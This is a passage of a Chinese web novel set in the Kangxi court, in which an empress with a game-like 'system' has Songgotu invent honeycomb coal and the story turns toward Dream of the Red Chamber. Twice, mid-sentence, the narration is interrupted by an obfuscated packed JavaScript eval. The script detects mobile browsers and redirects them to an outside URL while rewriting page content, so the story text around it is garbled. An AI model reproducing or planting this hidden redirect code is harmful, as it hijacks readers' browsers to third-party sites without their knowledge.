他叹了口气,将蜜渍金桔塞进嘴里,酸甜汁液在舌尖炸开时,窗外的风雪正卷着残烛的光,把“正大光明”匾额的金漆照得一片斑驳。 索额图、明珠的名字,重新进入皇帝的视野。 永寿宫 鎏金熏炉吐着袅袅龙涎香,将冬日寒意烘得无影无踪。 赫舍里塔娜怀中的小黑狗蜷成墨玉团子,四只白爪宛如沾了雪的云朵,正眯着眼享受姑娘们的爱抚。 “快看!它的小肉垫像不像梅花?”马佳诺敏指尖轻点小狗爪子,惹得钮祜禄萨琳也凑过来,发间东珠步摇随着动作轻晃。 “该给它做件衣裳了!”塔娜从檀木匣里取出月白软缎,剪刀"咔嗒"声响中,诺敏已翻出金线绣绷,“用金线绣朵缠枝莲可好?” 四人围坐在猩红猩猩毡毯上,彩线穿梭如蝶,不时爆发出银铃般的笑声,这小狗的衣服首饰她们承包了。 小狗忽而抖了抖耳朵,将萨琳刚编好的珊瑚项圈碰落在地,引得众人又是一阵娇嗔。 火光映着玉宁泛红的脸颊,她手中的绣针不自觉悬在半空。 烛影摇曳间,皇上批阅奏折时专注的眉眼、龙袍扫过御阶的衣角,如走马灯般在脑海浮现。咸福宫的铜漏声似乎还在耳畔,她多盼着那个明黄身影能穿过重重宫墙,踏入自己的庭院。 “玉宁姐姐,你瞧这个玛瑙铃铛配它可好?”塔娜的询问打断思绪,玉宁回神只觉得自己脸都发烫了。年节时,自己母亲也被准许入宫探视,便偷偷叮嘱自己若是能怀第一胎...... 钮祜禄萨琳摩挲着小狗修剪整齐的指甲,目光却飘向窗外——长春宫里堆着的《几何原本》译本与天文图卷,若被这小家伙的爪子抓花...她轻叹一声,将毛茸茸的小狗抱在膝头蹭了蹭,终究把养宠的念头压回心底。 诺敏却是满心满眼的欢喜,既爱这软糯可爱的生灵,更因塔娜是皇后胞妹,连带着对永寿宫的一草一木都生出亲昵。当小狗穿上绣着金线的衣裳,戴着珊瑚项圈摇头晃脑时,她笑得直不起腰,鬓边的绢花几乎要落在熏炉里。 窗外寒风呼啸,永寿宫内却暖意融融。四个少女的欢声笑语,与小狗偶尔的轻吠交织,在宫墙间荡出细碎涟漪,惊起檐角沉睡的雪粒,簌簌落进深深庭院。 明黄伞盖掠过永寿宫朱漆宫门时,一阵银铃般的笑声顺着雕花窗棂飘出。 康熙握着珠兰的手微顿,只见皇后唇角扬起笑意,绣着翟纹的袖口随动作轻晃,“听这热闹劲儿,怕是塔娜她们又在折腾新花样了。皇上可要进去瞧瞧?” 逗着玩儿呗,珠兰笑。后来怎么陪伴都不给涨亲密度的皇帝,需要多重刺激。 檐角垂落的冰棱在阳光下折射出细碎光斑,映得康熙眼底的笑意渐渐凝结。 他望着珠兰眼中跃动的好奇,忽然想起昨夜她还在为三妃亲自挑选宫缎,此刻又这般惦记着永寿宫里的热闹。指腹摩挲过皇后手上的东珠护甲,酸意顺着喉间漫上来:“太皇太后还等着,莫要耽搁了请安。” 40. 神兵产业 不等珠兰回话,他已扣紧她的手腕疾步前行。龙袍下摆扫过阶前积雪,惊起两只麻雀扑棱棱飞向宫墙。 珠兰掩着嘴笑,瞧着后头梁九功他们都低着脑袋不敢往上看。他是又想起哪个话本子的桥段了,怎么反应这么大。 康熙越想越不是滋味——当初珠兰执意将诺敏、萨琳、玉宁、塔娜等人接入宫,自己得给她们银子,给她们穿戴。如今倒好,连小狗都穿上绣金衣裳。这些丫头还整日缠着皇后说笑,分明是"引狼入室"! “瞧把陛下急的。”珠兰轻笑着任由他拉着走,却将另一只手覆上他微凉的手背,“等请安回来,臣妾定陪陛下好好''收拾''这群小没良心的。”她故意咬重"收拾"二字,眼波流转间藏着狡黠。 康熙耳尖发烫,到底没忍住"哼"了一声,脚步却不自觉放缓,掌心悄然漫上暖意。 珠兰再看那数值,亲密度上涨0.5。 还是不太懂啊…… 索额图从内务府衙门出来,皂靴上还沾着造办处的铁屑。 小厮抱着一摞《天工开物》跟在身后,蓝布包袱皮上烫金的“冶铸”二字被汗渍浸得发暗。 寒风卷着煤渣扑在脸上,他却浑然不觉,脑子里全是传教士画的高炉图样——那铁水奔流的线条,比鳌拜留下的兵器图谱还让他心惊。 炮筒子搁一边吧,那玩意儿索额图都能找地方拆兑出来。 主子娘娘要的是绝世好剑! 内务府造不出…… 奔到城外,索额图勒住缰绳,□□黑马人立而起。原来是马鞍旁挂着的疑似焦炭样本簌簌掉落,砸在雪地上碎成齑粉。 他连忙下马拿衣服重新兜起来,后面赶上来的护军纷纷停马,小厮取来新布袋。 索额图擦着脑门上的汗,想起五日前在养心殿,珠兰指着西洋匠人送来的精钢剑鞘说“要给皇上炼把削铁如泥的神兵为礼”。 自此,赫舍里氏的荣耀像把重锤,狠狠砸在他肩头。 什么转任前朝,通通被他抛之脑后。娘娘的意思,就是最大的意思。 内务府的工匠们被骂得抬不起头时,索额图正盯着空荡荡的高炉基座青筋暴起。不行,得找新材料,他去寻南怀仁。 传教士说的“水排”“风箱”在造办处库房里连影子都没有,老工匠捧着《考工记》发抖,“索大人,咱老祖宗炼铁用的是皮囊鼓风......” 话未说完就被他甩了本《远西奇器图说》,“三日之内,给我做出个能让铁水沸腾的家伙!”这都是传教士带来的新奇学问,原本索额图定然是一眼不看的。 煤窑的北风像刀子刮过脸颊,索额图踩着没膝的积雪查看煤层。他望着窑工们用箩筐筛煤的场景,却急得额头冒汗——焦炭得用无烟煤焖烧三日,稍不留神就成了灰。 作为一名走侍卫路子的勋贵后代,他把自己专业都换了…… 想起传教士说的“煤化程度”,他抓起块煤对着天光细看,煤矸石的杂质在阳光下闪着刺目的光。 “半年!”索额图在窑口立下木牌,朱砂写的“限期”二字被风雪侵蚀得模糊。 “主子娘娘给一年,咱就得干出两年的活!”他踢开脚边堆着的《天工开物》残卷,这是他翻烂的第三套书。 造办处老匠人捧着退火炉图纸的手直哆嗦,炉温计上的水银柱在烛火下晃得人眼晕,这都是传教士那边新送来的家伙事儿,大伙用着不熟练,“索大人,淬火时辰差一刻都要裂......” 话未说完就又被他打断,“那就备三炉铁水!一炉正炼,一炉候补,一炉......”他突然抓起桌上的磁铁石,吸得铁砂在案上聚成尖锐的锥子,“给老天爷留出错的余地!” 造办处的工匠们捧着新绘制的风箱图纸跑来时,他正与老匠人讨论用磁铁石分拣铁矿石,指尖被磨出的血珠滴在铁砂上。 他好不容易打发走了风箱,望着工匠们连夜赶制的水排模型,只觉得身心俱疲。 又想起主子娘娘说的“赫舍里家从不出孬种”,喉结滚动间,咽下的不知是风雪还是热血。三十岁的索额图,绝不服输! 当绝世好剑造办处的灯笼挂上内务府角门时,头三月炼铁,后两月锻造,最后一月......索额图用指甲在账本空白处划出深痕,最后一月预防乱子,必须留给老天爷掀桌子。 正月末的北风卷着煤屑扑在养心殿檐角,索额图正挑开铁炉子里蜂窝煤的气孔,蓝汪汪的火苗呼地窜起,映得他皂靴上的煤渍都亮了几分。 身后工匠们捧着新制的煤模子候着,模子在烛火下泛着油光。 “这蜂窝煤......”珠兰捏着索额图呈上的煤饼,东珠耳环在火光中晃出细碎银芒。 系统:攀科技树就是这样,经常有意外收获。 她想起传教士画的高炉图上还标着“需上等焦炭”,可眼前这煤饼虽然不是焦炭,但很有用,也有几分熟悉。 这东西烧得比西洋煤油灯还旺,六个圆孔里喷出的火苗,旺盛的紧,倒像极了索额图递牌子时急得冒汗的秃脑门。 都那么油光瓦亮的,叫人看了就暖和。 秃脑门…… 早晚让你们都得长出头发,辣眼睛! 捏着那块乌黑的蜂窝煤,指腹摩挲着上面均匀分布的圆孔,铁炉子里蓝汪汪的火苗从孔眼里窜出来。原初世界小时候家里用过这个,就是该有十二个孔。 恍惚间,她仿佛回到原初世界的童年,冬夜里全家人围坐在蜂窝煤炉旁,煤饼燃烧时特有的淡淡烟气混着烤红薯的甜香,母亲用铁钩子轻轻一撬,烧透的煤饼就簌簌落下灰白色的渣,露出底下新换的煤饼,暖意从炉口丝丝缕缕漫开来,比这宫里的鎏金熏笼还熨帖。 摇晃掉已经是过去的温暖,珠兰把注意力收回来,她从不是多愁善感之人。 这蜂窝煤确实比大煤块好太多了,我怎么一开始没想到呢,索额图办事确实不错,还把这东西研究出来了。珠兰微笑,表示索额图做的不错,发奖金。 索额图:咱先把蜂窝煤送来,省得老没成果,主子娘娘手头大事儿多,把咱这个项目资金人手再抽走就不好了,把咱这个主管换了就更不好了。 系统面板:那还不是给索额图加了一堆观察点,给他点歪了专长么。 珠兰点头,加的不错,下次继续。办事能力强,懂变通,会交流,再通技术,没毛病啊!科学界需要你索额图这样的人才! 咦!系统自动又升级了!会说这么多话了!还会抢答了呢! 哟呵,省能量结晶了。 不过,蜂窝煤这东西这么重要?一造出来,世界反应还挺大,能量结晶没给,我这系统倒是直接进步了。 感受着世界压制的减轻,她莞尔一笑,叫系统再接再厉。 压制无所不在,她晓得自己是异类。必须向世界证明,咱没恶意还全是好心才行。 感觉世界比康熙好哄点…… 系统……嘴快了…… 珠兰不理会系统了,想着蜂窝煤的好处:大煤块得用斧头劈成小块,烧的时候容易中间夹生,还得时不时用火筷子捅一捅,稍不留神就灭了;这蜂窝煤呢,往炉子里一放,空气顺着孔眼往上走,火烧得又旺又匀,不用频繁打理,省了不少功夫。 哦,还有炉子,买煤送炉子? 系统简单计算后,最让她惊喜的是造价——康熙五年上等煤每吨能卖三十两银子,普通煤块也要十八两八钱,可这蜂窝煤用的是煤粉掺和黄土,一般计算,经销商每吨卖十两银子就可大赚一笔。 若是计算成本,再加上模具的损耗,一块蜂窝煤的价钱还不到大煤块的三十分之一,又经烧又便宜,要是推广开来,珠兰看到了世界为之欣喜的将来。 这回不是某个群体得利,乃是天下之利,世界必将给予反馈。此乃天理也! 这必须奖励!她对索额图说,会去天子处为他请功。 索额图:这东西这么有用!还值得当惊动圣上?! 他连忙行大礼,珠兰让吉雅给他扶了起来。 “若有源源不断的此类有用之物产出,那绝世好剑本宫可容你三年完成。”珠兰举着蜂窝煤,鼓励索额图再接再厉。一份回礼罢了,就是个由头,且用着吧。 索额图退下后,珠兰叫系统给他再加【经营】点数,结果系统提示积攒的观察点已经在内务府工匠中投入过多,马上要入不敷出。 珠兰…… 工匠们领赏时的叩首声震得地砖发颤,索额图望着他们怀里沉甸甸的银元宝,赌赢了! 主子娘娘虽然不拿八旗包衣的人情世故当盘菜,下手又狠又快又精准,但与大哥葛布喇还是一个脾气,有功必赏! 三日前在煤窑里,老匠人举着蜂窝煤样品的手直哆嗦:“索大人,这玩意儿孔眼要是堵了......”话未说完就被他塞进一锭十两纹银,“堵了算我的!先让主子娘娘瞧瞧咱内务府的人,炼不出精钢也能烧出花!” 养心殿的自鸣钟敲过酉时,索额图踩着满鞋煤渣走出宫门,得记着让匠人改十二个孔。主子娘娘说了,她喜欢这个数字。今日还得叫那匠人按照主子娘娘的意思,做那个实验对比,得忙一宿了。 娘娘体恤,给加班费! 小厮递来的账本上,“蜂窝煤赏银”那栏用朱砂圈得通红,恰如他此刻发烫的脸颊。 他抬头望见琉璃厂方向的冲天炉火光,那边还有个半成品,想着就笑出了声——焦炭虽还没炼成,可这蜂窝煤的气孔倒像给赫舍里氏的荣耀开了扇窗,透过窗缝照进来的赏赐,比西洋琉璃镜里的月亮还亮堂。 这是成功的第一步,以后会源源不断的成功! 索额图沉浸在巨大的喜悦中,完全忘了自己的政治仕途规划一开始不是这么做的。 家里,索尼咳嗽着,心中不安,总觉得某个逆子似乎又做了蠢事。 一定是葛布喇! 翌日 乾清宫的鎏金珐琅香炉尚未添炭,康熙正对着奏折批阅,忽见珠兰带着人进来,身后春苒捧着个盖着锦帕的托盘。 他放下朱笔,嘴角噙笑:“今日怎得空,这般早过来?”目光却落在托盘上——锦帕下隐约是乌黑的饼状物,边缘竟有规整的孔洞。 珠兰福身行礼,亲手揭开锦帕,露出那块蜂窝煤:“皇上您瞧,这是索额图带着内务府匠人鼓捣出来的‘蜂窝煤’。宫里用不上这廉价东西,但宫外用着当是便利。” 皇帝兴趣不是很高,但捧场的点点头。 煤,能怎么着? 她指尖轻叩煤块上的圆孔,“您看这十二个眼儿,点火时空气顺着孔道往上走,火头比大块煤旺三倍呢!”她又拿起一旁的普通煤块对比,将蜂窝煤的好处说的头头是道。完后,还不忘说这都是索额图带着内务府匠人实验出来的。 康熙拿起蜂窝煤仔细端详,指腹摩挲着孔洞,抬眼,“这煤……造价如何?”他的聪慧,从来无需多言。珠兰的意思,他一听就明白。 煤,真能怎么着?! 珠兰笑道:“用煤粉掺和黄土制成,每吨成本八钱银子,算上模具和人工,顶多一两!”若是全由内务府包衣操持,实际成本还能再降,毕竟皇帝的产业不交税。若是皇帝可以让户部减免煤税,那其他人做蜂窝煤成本也可以降。 康熙瞳孔骤缩——他知今年直隶百姓用的普通煤块每吨需十八九两,内务府的银丝炭更达三十两,而这蜂窝煤若卖二两三两,百姓既能用得起,朝廷,不,内库还能盈利! 煤,真能怎么着! 想起前朝,户部挣钱,谁花都行,就是朕花不得!康熙一股子无名火就起来了,这帮昏官! 若这东西为旁人所献, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15946364|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定是要演示一番。可这是皇后所献,她的脾气与葛布喇一样刚直,在皇帝充满猜忌的心中是可以信任那一小撮的。 他猛地起身来回踱步,龙袍扫过御案,声音因激动而微微发颤,“好!好个蜂窝煤!”他缺钱也缺名啊! “若在京城推广,百姓过冬再不用为炭火发愁;若遍及天下……”康熙走到窗前,望着紫禁城的琉璃瓦,眼中迸发光芒,“这等利国利民之物,岂是寻常炭火可比?分明是上天庇佑,示以祥瑞!” 宫里的宫女太监都跪下了,高呼圣君,高呼祥瑞。 他转身握住珠兰的手,“你让索额图抓紧办:京中、直隶、山西等地煤炭产地、黏土矿脉全归内务府直管,务必压低成本,尽快让天下百姓用上这‘圣君炭’!” 啥玩意?圣君炭?你们大清人真会玩…… 康熙掰着手指盘算:“银丝炭三十两一吨,百姓所用煤块近二十两,而这蜂窝煤成本仅一两……卖二两便是十倍利,且能惠及万民!”他越算越激动,喉头滚动,仿佛已听见天下百姓山呼“圣明君主”的声浪。 烛火映得他面颊通红,眼中别无他物,全然是对“千古圣君”之誉的向往,那乌黑的蜂窝煤在他手中,俨然成了丈量盛世的祥瑞之兆。 珠兰望着康熙因激动而发亮的眼睛,又低头看了看那块其貌不扬的蜂窝煤,心里暗忖:原只想献个冶铁副产品给索额图讨个赏,增加他工作积极性,竟引出这许多盘算。罢了,殊途同归,大家目标一致就行。 她见皇帝背着手在殿内踱步,不断计算着所得,龙袍下摆扫过地砖的声响透着急切,便敛衽一礼,声音恭谨:“遵旨。” 转身对女官春苒道:“你即刻去内务府传旨,着索额图总领蜂窝煤发行事宜,限半月内于京城全面铺开售卖,再行推广天下。” 春苒领命退下时,珠兰瞥见康熙正将蜂窝煤凑到烛火前细看,指尖穿过煤块上的圆孔,仿佛那不是黑黢黢的燃料,而是块能凿出盛世图景的璞玉。 她垂眸掩去唇角笑意——也好,这摊子繁杂事既有索额图这能臣操持,又合了皇帝的意,倒是省去许多周折。 她的能量结晶,也该有个一期结算了,这煤就正好,毕竟一年都没什么进账。 康熙摩挲着蜂窝煤上的孔洞,仿佛看到了无限的名与利。他忽然抬眼,声音里带着难掩的兴奋:“传旨!给索额图重赏!” 侍立一旁的梁九功忙铺开明黄圣旨,却见皇帝仍盯着煤块不放,龙袍袖摆扫过砚台,溅出的墨点在宣纸上晕开。 “赏白银千两,绸缎百匹!”康熙的指节叩在煤块上,发出沉闷的声响,“爵位先给他记在着——待他把这蜂窝煤铺遍京城、造福百姓,朕定要让赫舍里家的金册再添新章!” 这大饼画的,以后封索额图个啥好,煤男爵? 乾清宫内鎏金熏笼的炭火明明灭灭,康熙还在用指尖摩挲着那块蜂窝煤,煤块上规整的孔洞在烛火下泛着幽光,康熙的手泛着黑光。 爱不释手了么,您摸了煤,就不许摸我了哦。珠兰后退了两步,今天是新衣裳。 忽然,梁九功去而复返,在门外高声奏报,声音穿透厚重的宫门,带着一丝急促,“万岁爷,礼部有急报!荣国公贾代善薨逝,遗折已呈送上来。” 康熙握着蜂窝煤的手微微一顿,指腹下意识地划过煤块上的圆孔,眉头瞬间蹙起。 珠兰本没注意听,但是荣国公?国公贾?汉姓国公?稀奇啊。 这荣国公贾代善卧病已多年,算起来年纪比鳌拜等人还要轻上许多岁。皇帝脑海中倏地闪过,太皇太后早年与他讲贾代善和他堂兄贾代化随着父辈追随多尔衮入关的场景——当年在多尔衮主持朝政之际,力排众议赐下贾氏一门两国公,这对包衣出身的家族而言,简直是天高地厚的恩情。 但是这一家带着金陵同乡毫不犹豫背叛了多尔衮,站在了太皇太后这边。 然而,顺治帝亲政后,这曾跟随多尔衮的金陵四家族,却被从镶黄旗包衣改隶正白旗包衣。 太皇太后曾说,这四家皆有投机之心,忠心却比不上满洲奴才。估计,先皇对他们印象也不算太好。 从黄入白,虽说同属上三旗包衣,地位却明晃晃地降了下去,四家子弟也渐渐不再受重用,多数回了祖籍金陵。就算有公爵侯爵在身,没有实际职务,也是沉寂了。好在,命和富贵保住了。 康熙想到这里,心中不禁生出几分郁结:本朝初年,正是用人之际,这贾代善本有机会带领家族翻身,偏偏从顺治十五年起便称病卧床。 早年他掌管着一定的军事力量,在军中也有威望,却在四大辅臣争斗之时,选择明哲保身,既不向鳌拜靠拢,也不坚定地站在自己这边,只一味装病避世。 不是个胆小鬼,就是有怨! “哼,包衣奴才也敢当缩头乌龟?”康熙低声冷哼,指尖因用力而微微出汗,沾染了煤黑,“比起朕的保姆孙夫人与曹家,这贾家差得可不是一星半点!若不是念及贾代善的夫人史氏也曾给朕做过两年保姆,岂能容他们这般!” 珠兰听闻“荣国公贾代善和史氏”之名,心中猛地一动,只觉这称谓似乎与记忆中的某个故事有些联系,却一时想不真切。 她连忙凑到康熙身边,想看那遗折内容。康熙并未避讳,直接将折子递给皇后——这类遗折本就是提前写好,待其人故去后才呈送上来,内容多是些客套话。 珠兰展开折子,只见上面除了几句“感念天恩”“臣病体难支”的套话,核心意思有二:其一是贾代善自称当年爵位“虚高”,承受不起,恳请让儿子降等袭爵,且希望“多降几等”;其二则是他最大的愿望——恳请朝廷将家族从包衣旗抬入八旗之中。 “老匹夫想得美!”康熙与珠兰一起看完,忍不住冷笑出声,“还想拿爵位换抬旗?真是异想天开!” 41. 抬汉军旗 皇帝对这一家子印象十分之不好啊,珠兰抿着唇,在哪里见过来着。 他顿了顿,又想起史夫人曾悉心照料自己的情分,语气稍稍缓和:“罢了,看在史夫人的面子上。只是,这国公爵位断不可再传,公侯伯子男,他家一个也当不起!与早年宁国府同例便是。” 珠兰回忆半天,听闻皇帝之言,哦,这故事里还有个宁国府。荣、宁——那不就是《红楼梦》嘛! 他略一沉吟,朱笔在奏折上落下:“赐贾代善之子贾赦降等袭爵,着授轻车都尉,品级三品。日后,再按例降等即可。” 珠兰看着朱批,忽然想起《红楼梦》中提到贾赦袭的是“一等将军”,这轻车都尉与一等将军好像差不多。 康熙放下朱笔,目光再次落回遗折的“抬旗”请求上。他深知,抬旗对包衣家族而言是何等荣耀,但若轻易应允,又恐坏了规矩。沉吟良久,他忽然提笔,在奏折空白处重重写下:“准荣国府京中一脉及早年宁国府京中一脉,抬入汉军镶黄旗!” 写完这句,他似是意犹未尽,又补了一句:“若贾代善之子贾赦、贾政二人中有能者,朕日后或可将其抬入满洲旗。”说罢,他将朱笔掷回笔山,发出清脆的声响,仿佛将心中的积郁一并掷出。 此刻,乾清宫内的气氛略显凝重。 康熙看着案头的蜂窝煤与贾代善的遗折,一个是利国利民的“祥瑞”,一个是让他又气又憾的包衣旧臣,两种思绪在他心中交织——这朝堂之上、家族之间的恩怨纠葛,终究要靠帝王的权衡与决断来一一化解。 珠兰余光看向系统,系统提示:新地图解锁,有望增加观察点上限。 而那金陵贾家的命运,也在这朱批落下的瞬间,悄然转向了一个新的方向。 慈宁宫的鎏金铜胎珐琅炉里煨着松萝茶,袅袅热气混着茶香在紫檀雕花窗棂间氤氲。 太皇太后斜倚在铺着猞猁皮褥的炕上,用银镊子轻轻拨弄着炉中通红的炭块,指尖的翡翠护甲在烛火下泛着冷冽的光。 当小宫女跪报荣国公贾代善薨逝的消息时,她握着镊子的手微微一顿,炭灰簌簌落在炕垫上。 “这贾代善兄弟二人,当年在多尔衮帐下倒是转圜得快,”太皇太后望着跳跃的烛火,思绪飘回入关初年的金戈铁马,“可论起对主子的忠心,比葛布喇差了何止十里八里。” 她想起葛布喇在鳌拜专权时,宁可顶撞辅臣也要护着主子,不由得将茶盏重重搁在炕几上,青瓷杯底与紫檀木碰撞出清脆的声响,“若当年能像葛布喇那般铁心追随皇上,何至于落得今日门庭冷落、子孙仕途黯淡的下场?” 苏麻喇姑见状,连忙上前轻声劝慰:“格格息怒,人已经去了……”话未说完,便被太皇太后打断。 她望向窗外飘落的细雪,声音里带着一丝怅然:“我不是气他,是可怜史睍!”想起史睍年轻时抱着年幼的康熙,在慈宁宫步履轻快地伺候汤药,如今却眼见着便要守寡,独自支撑家族,太皇太后的语气愈发沉重,“这个岁数就没了丈夫,还要拉扯三个孩子,我听说她那大儿子贾赦、二儿子贾政都被圈养在府里,文不能安邦,武不能定国,唉……” “贾代善啊,就是心思太重、胆子太小了,”苏麻喇姑望着窗纸上凝结的冰花,想起贾家这些年紧闭府门、谢绝宾客的谨慎做派,不由得轻轻摇头,“总怕皇上会清算当年多尔衮的旧事,可多尔衮都故去多少年了?如今已是康熙朝,新君新气象,谁还会揪着陈芝麻烂谷子不放?” 她顿了顿,继续不忿道:“他倒好,整天躲在府里装病,这一躲,可不就真成了缩头乌龟。当年四大辅臣争斗,正是需要臣子尽忠的时候,他却选择明哲保身,换了谁是主子,心里能舒坦?” 太皇太后闻言,想起康熙亲政初期,苏麻喇姑多次通过史睍隐晦地向贾代善示好、希望他能出山辅佐,却屡屡被“病体难支”的借口挡回。再对比索尼拖着七十一岁的病体仍为孙儿周旋于朝堂,甚至咳血于御前的忠诚,眼中不由得闪过一丝失望:“谨慎本是好事,但谨慎过头便是怯懦,白白辜负了一身本事,也可惜了史睍那么好的人,跟着他受了这么多年的委屈。”贾代善在自家还有价值的时候,选择观望,真是糊涂。而今皇帝亲政了,他好都不敢好了,只能死。 正说着,小宫女又匆匆掀帘而入,气喘吁吁地禀报:“启禀太皇太后,乾清宫传来旨意——皇帝下旨将京中贾氏一门两脉抬入汉军镶黄旗,着贾赦袭轻车都尉!” 苏麻喇姑听罢,喃喃道:“从超品的国公爷,降到三品的轻车都尉……这中间隔着公、侯、伯、子、男五等爵位呢!”与宁国公当日一般,皇帝一点史氏的情分也没念。 而且,是抬汉军旗。 她深知,对包衣家族而言,上三旗包衣虽为皇家奴才,却因亲近宫廷而地位特殊,许多人宁愿留在镶黄旗或正白旗当包衣,也不愿被抬入看似尊贵、实则隔阂更深的汉军旗。 太皇太后盯着炭盆里迸出的火星,沉默良久后忽然发出一声苦笑:“皇上这是还记恨着贾代善在他继位之初,没肯实心实意地出力啊。” 她想起康熙曾在南书房怒斥贾家“包衣奴竟作壁上观”的情形,“这抬入汉军旗,说是抬旗,实则是敲打——给你体面,却不给你实权;给你希望,却要看你子孙有没有真本事去挣。当年多尔衮给的恩宠,在皇上这儿,终究是要重新掂量的。” “格格,那咱们还叫史睍进宫吗?”苏麻喇姑见太皇太后神色复杂,小心翼翼地问道。 太皇太后忽然坐直身子,眼中泛起柔和的光:“当然要叫她来!贾代善去了,她也该从那深宅大院里解脱出来,松快松快了。”想起史睍年轻时爽朗大方、能言善辩的模样,她的语气里多了几分怀念, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15958043|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “早年选她给皇上当保姆,纯粹是看中她这个人利落能干、善于谈笑,和她丈夫、和贾家那些破事,本就没什么关系。这些年要不是贾代善总拿病体和幼儿当借口,她早该常来宫里陪我说说话了。” 话音未落,檐角的铜铃在风雪中叮咚作响,仿佛在应和着太皇太后的感慨。 她望着屏风上史氏多年前亲手绣制的“万寿无疆”纹样,对苏麻喇姑吩咐道:“过几日你提醒我,备上几匹江南进贡的云锦和苏绣料子送去,再去内务府把她家小女儿的名字从选秀名单上勾掉——总归是有这么多年的情分在,能帮衬一点是一点。” 炭火的暖意渐渐弥漫整个慈宁宫,驱散了冬日的严寒,却驱不散太皇太后心中那缕对故人命运的叹息——在这深宫与朝堂交织的棋局里,忠与谋、荣与辱从来都不是简单的选择,而那些被命运裹挟的人,终究难逃时代的洪流与帝王的权衡。 珠兰回到养心殿时,鎏金自鸣钟正敲过戌时三刻。太监王二敏捧着茶盏躬身禀报,铜胎珐琅盖碗的热气氤氲而上。 “太皇太后下旨免了贾敏选秀?”珠兰指尖的护甲轻叩着紫檀桌沿,鎏金烛台上的灯花突然爆出轻响。 珠兰望着案头堆着的《天工开物》批注,划过“冶铁火候”的标注。观察点就像高炉里的炭火,得一点一点攒才能化铁成钢。系统提示,点数要不够用。 可这贾敏免选,她见不到此人,平白少了次测试新地图的机会。 她原想借选秀近距离观察这《红楼梦》里的关键人物,备不住能多攒些观察点,此刻却听王二敏回禀:“回娘娘,过几日听说太皇太后还要见史夫人呢,开了库房预备了不少赏赐。” “太皇太后有意常召史夫人入宫?”珠兰坐直身子,东珠耳环在烛火下晃出细碎银光。不对,不会是近期,应在百日后。 王二敏连忙从袖中掏出张洒金笺:“这是老祖宗拟定的召见日子,还说要叫史氏的小女儿入宫陪端敏格格读书呢。” 史氏入宫,意味着能近距离接触金陵贾家的内宅脉络,那些藏在《红楼梦》文本里的细节——比如史氏的管家手腕、贾赦贾政的真实性情,或许都能转化为“观察点”。 内务府工匠们赶制高炉专业数值不够,自己咬牙把他们的“工艺熟练度”硬往上提,眼看储备的观察点快见底了,这红楼线倒像是天降的“补给包”。 贾代善死的还挺凑巧…… 珠兰看完,果然是百日后的日子,便将金笺烧了,对王二敏道:“告诉造办处,明日起给工匠们加发‘创新津贴’。”不只发钱,还要继续加点,非得加出一群点出科技树的能工巧匠不可。 也罢,先把眼前的“冶铁任务”肝完,反正红楼这张“长期卡”在望,观察点嘛,总能慢慢攒起来的。 只是令贾敏免选,又入宫伴读,那后一步太皇太后是如何想法? 42. 理清本钱 康熙五年正月,凛冽的北风掠过紫禁城红墙,残雪尚未消融。 珠兰端坐凤舆之中,头戴三层薰貂朝冠,金凤衔东珠,朱纬垂流苏,点翠祥云纹在晨光下流转着幽幽碧色。身着石青缎朝褂,其上以金线绣就正龙、行龙纹,间缀五彩翟鸟,十二章纹在领口与袖口熠熠生辉;下配明黄织金缎朝裙,裙裾绣着八宝立水与腾跃的行龙,每走一步,金线便在裙摆处漾起细碎的光芒。 在一众宫女太监的簇拥下,她的车辇缓缓驶向北海先蚕坛,这是她初掌凤印后,首次主持意义非凡的“亲蚕礼”。 抵达先蚕坛,珠兰踩着猩红毡毯,款步迈入祭坛。坛内桑林覆着薄冰,却已透出点点新绿,恰似她朝裙上金线绣就的桑叶纹。祭坛中央,青铜香炉燃起杜蘅香,袅袅青烟升腾而起,萦绕在“嫘祖祠”匾额之上。 在蚕母的跪请下,珠兰缓步走向“亲蚕殿”前的古桑。她素手轻执银钩,剪下三枝新条,桑枝垂落的冰晶跌碎在丹陛上,恍若万千碎玉。女官立刻捧来鎏金采桑筐,将桑叶小心收入其中,动作轻柔而庄重。 “取茧!”随着司礼女官高亢的唱喏声,十二名蚕妇鱼贯而出,手中漆盘托着雪色蚕茧,在阳光下流转着珍珠般的光晕。珠兰手持金剪,轻轻剖茧,抽出晶莹丝线,指尖传来的细腻触感,让她想起那些为筹备礼典日夜奔忙的时光。 此刻,这看似纤弱的蚕丝,正承载着皇后对天下农桑的期许。若是产量激增,也得算世界进程一大步。还得收罗点农官、蚕官回来,这等人手京中没见过啊。 仪式结束后,皇帝命内务府画师绘制《亲蚕图》。画师们以工笔重彩勾勒皇后采桑的雍容之态,背景桑林与天际线交融处,暗藏十二道金线,暗合“天子十二章纹”。 皇帝与珠兰一起审视良久,命添上“万民采桑”的远景——画中百姓躬身采桑的身影,与祭坛上凤仪相映,恰似《周礼》中“王后亲蚕,以劝天下之妇功”的千年回响。 乾清宫冬暖阁内,鎏金掐丝珐琅熏笼升腾着袅袅龙涎香,将空气浸染得愈发浓稠。 康熙展开重新制成的《亲蚕图》,细密的工笔线条间,珠兰身着明黄翟衣采桑的模样跃然绢上。他的指尖抚过画中皇后执钩的素手,忽然轻笑出声:“朕瞧这画师纵然技艺精湛,却也描摹不出皇后万分之一的风华。” 